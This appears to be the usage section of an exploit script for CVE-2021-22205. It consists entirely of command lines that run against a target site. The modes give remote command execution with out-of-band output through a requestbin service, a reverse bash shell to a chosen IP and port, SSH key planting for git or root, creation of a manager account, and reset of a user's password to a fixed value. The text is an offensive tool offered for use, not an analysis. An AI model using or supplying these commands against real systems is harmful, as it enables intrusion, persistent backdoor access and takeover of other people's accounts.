    python3 CVE-2021-22205.py -u site_url -m rce1 'id'     # rce (echo via requestbin oob) 
    python3 CVE-2021-22205.py -u site_url -m rce2 'id'     # rce (echo via write file) *
    python3 CVE-2021-22205.py -u site_url -m rev ip port   # reverse bash shell
    python3 CVE-2021-22205.py -u site_url -m ssh git/root  # append ssh authorized_keys
    python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
    python3 CVE-2021-22205.py -u site_url -m mod user      # modify specified user's password => P4ss@GitLab
